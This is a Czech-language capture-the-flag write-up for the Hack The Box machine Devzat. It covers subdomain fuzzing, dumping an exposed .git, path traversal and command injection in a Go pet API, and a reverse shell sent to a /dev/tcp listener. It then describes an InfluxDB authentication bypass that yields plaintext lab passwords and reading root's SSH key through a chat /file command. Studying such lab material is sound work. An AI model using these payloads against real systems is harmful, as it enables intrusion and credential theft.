tom@home.htb:~$

Blog o HTB

22 November 2020

Devzat

Úvod a kontext

Devzat je pěkný příklad řetězce, kde se střídá veřejná webová chyba a interní služby dostupné až po footholdu. Všechno začíná na pets.devzat.htb, kde odhalený .git a API endpoint /api/pet ukážou, že aplikace v Go špatně zachází se vstupem v poli species.

První shell ale ještě nestačí na root. Teprve po přechodu na patrick se objeví interní InfluxDB na portu 8086, ze které jdou vytáhnout hesla dalších uživatelů. A až catherine otevře přístup k internímu chatu na 8443, dojde na finální čtení root klíče přes /file.

Počáteční průzkum

Vyhledání otevřených portů

Nejprve mapuji veřejně dostupné služby, protože právě z otevřených portů odvodím, které protokoly a aplikace má smysl zkoumat detailněji.

ports=$(nmap -p- --min-rate=1000 -T4 $IP | grep ^[0-9] | cut -d "/" -f 1 | tr "\n" "," | sed s/,$//);echo $ports;nmap -p $ports -A -sC -sV -v $IP
PORT     STATE SERVICE VERSION

Devzat chat na portu 8000

Neobvyklý SSH banner na 8000/tcp ukazuje na interní Go službu, která v další fázi dostane větší význam. Už při první enumeraci je dobré si ji poznamenat, i když k ní zatím není přístup.

22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 c2:5f:fb:de:32:ff:44:bf:08:f5:ca:49:d4:42:1a:06 (RSA)
|   256 bc:cd:e8:ee:0a:a9:15:76:52:bc:19:a4:a3:b2:ba:ff (ECDSA)
|_  256 62:ef:72:52:4f:19:53:8b:f2:9b:be:46:88:4b:c3:d0 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: devzat - where the devs at
8000/tcp open  ssh     (protocol 2.0)
| fingerprint-strings:
|   NULL:
|_    SSH-2.0-Go
| ssh-hostkey:
|_  3072 6a:ee:db:90:a6:10:30:9f:94:ff:bf:61:95:2a:20:63 (RSA)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.91%I=7%D=10/30%Time=617D6649%P=x86_64-pc-linux-gnu%r(N

Devzat chat na portu 8000

Neobvyklý SSH banner na 8000/tcp ukazuje na interní Go službu, která v další fázi dostane větší význam. Už při první enumeraci je dobré si ji poznamenat, i když k ní zatím není přímý přístup.

SF:ULL,C,"SSH-2\.0-Go\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumerace webu

Ve webové vrstvě hledám neveřejné cesty, vývojové artefakty a chybně vystavené soubory, protože právě ty často prozradí technologii aplikace, interní workflow nebo přímo přístupové údaje.

./dirsearch/dirsearch.py -u http://pets.devzat.htb -e php -x 403 -r
=> .git

Analýza zjištění

Skrytá subdoména a zdroják petshopu

Vedle hlavního webu má smysl hledat i další hostname. wfuzz odhalí pets.devzat.htb a na něm leží .git, takže jde stáhnout zdroják celé aplikace. Právě zdroják vysvětlí, proč má smysl zkusit path traversal i command injection přes JSON API.

wfuzz -H "Host: FUZZ.devzat.htb" -w SecLists/Discovery/DNS/subdomains-top1million-110000.txt --sc 200 http://10.10.11.118
./gitdumper.sh http://pets.devzat.htb/.git/ HTB/Machines/Devzat/
./extractor.sh HTB/Machines/Devzat/ HTB/Machines/Devzat/extract
000003745:   200        20 L     35 W       510 Ch      "pets"

LFI a command injection v /api/pet

První test přes ../../../../../etc/passwd potvrdí čtení souborů a rovnou ukáže uživatele patrick a catherine. Potom už dává smysl zkusit, zda pole species neprotéká až do shellu. To se potvrdí reverse shellem.

curl 'http://pets.devzat.htb/api/pet' --data-raw '{"name":"AAAAA","species":"../../../../../etc/passwd"}' && curl 'http://pets.devzat.htb/api/pet' | sed 's/\\n/\n/g'
=> patrick:x:1000:1000:patrick:/home/patrick:/bin/bash
=> catherine:x:1001:1001:catherine,,,:/home/catherine:/bin/bash

Získání přístupu

Reverse shell a stabilizace jako patrick

Přes command injection stačí spustit bash reverse shell a potom přidat vlastní veřejný klíč do authorized_keys. To je u podobného API výrazně čistší než zůstávat u křehkého jednorázového requestu.

curl 'http://pets.devzat.htb/api/pet' --data-raw '{"name":"AAAAA","species":"cat;/bin/bash -c '\''bash -i >& /dev/tcp/10.10.14.11/4000 0>&1'\''"}'
ssh patrick@10.10.11.118

InfluxDB na 8086 a přechod na catherine

Pod patrick se objeví interní služby na 127.0.0.1:8086 a 127.0.0.1:8443. První z nich je InfluxDB. Po port forwardu a zneužití CVE-2019-20933 vrátí tabulku user s hesly, včetně účtu catherine.

ssh patrick@10.10.11.118 -L 8086:localhost:8086
whatweb http://localhost:8086
http://localhost:8086 [404 Not Found] IP[::1], UncommonHeaders[x-content-type-options,x-influxdb-build,x-influxdb-version]
[devzat] Insert query (exit to change db): select * from "user"
{
    "results": [
        {
            "series": [
                {
                    "columns": [
                        "time",
                        "enabled",
                        "password",
                        "username"
                    ],
                    "name": "user",
                    "values": [
                        [
                            "2021-06-22T20:04:16.313965493Z",
                            false,
                            "WillyWonka2021",
                            "wilhelm"
                        ],
                        [
                            "2021-06-22T20:04:16.320782034Z",
                            true,
                            "woBeeYareedahc7Oogeephies7Aiseci",
                            "catherine"
                        ],
                        [
                            "2021-06-22T20:04:16.996682002Z",
                            true,
                            "RoyalQueenBee$",
                            "charles"
                        ]
                    ]
                }
            ]
        }
    ]
}
ssh catherine@10.10.11.118

Získání user flagu

user.txt tady potvrzuje hlavně to, že interní InfluxDB opravdu propojila první shell pod patrick s plnohodnotným uživatelským účtem catherine.

cat user.txt
__CENSORED__

Eskalace oprávnění

Interní chat a heslo pro /file

Na portu 8443 běží interní Devzat chat. Příkaz restore backup dev z něj vrátí heslo CeilingCatStillAThingIn2021? pro funkci /file, což je rozhodující poznatek pro finální krok.

restore backup dev
=> /file pass: CeilingCatStillAThingIn2021?

Čtení root souborů přes /file

Po přihlášení do chatu na 8443 už není potřeba další exploit. /file dovolí číst libovolné lokální soubory, takže jde nejdřív ověřit root.txt a potom vytáhnout ../.ssh/id_rsa. Ten už otevře přímé SSH jako root.

ssh devzat.htb -p 8443
/file ../root.txt CeilingCatStillAThingIn2021?
/file ../.ssh/id_rsa CeilingCatStillAThingIn2021?
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
ssh -i id_rsa_root root@devzat.htb

Shrnutí klíčových poznatků

Co si odnést do praxe

tags: linux - ssh - php - exploit - enumeration - privesc